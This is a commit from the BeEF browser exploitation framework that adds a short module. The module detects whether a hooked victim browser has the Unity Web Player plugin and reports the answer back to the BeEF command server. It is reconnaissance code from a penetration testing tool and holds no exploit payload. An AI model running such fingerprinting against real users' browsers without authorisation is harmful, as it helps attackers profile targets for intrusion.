Add Unity Web Player detection

This commit is contained in:
gcatt
2013-06-18 23:59:43 +02:00
parent 0dd499c71a
commit 1be8ec12fd
9 changed files with 105 additions and 0 deletions

View File

@@ -0,0 +1,14 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = (beef.browser.hasUnity())? "Yes" : "No";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity="+result);
});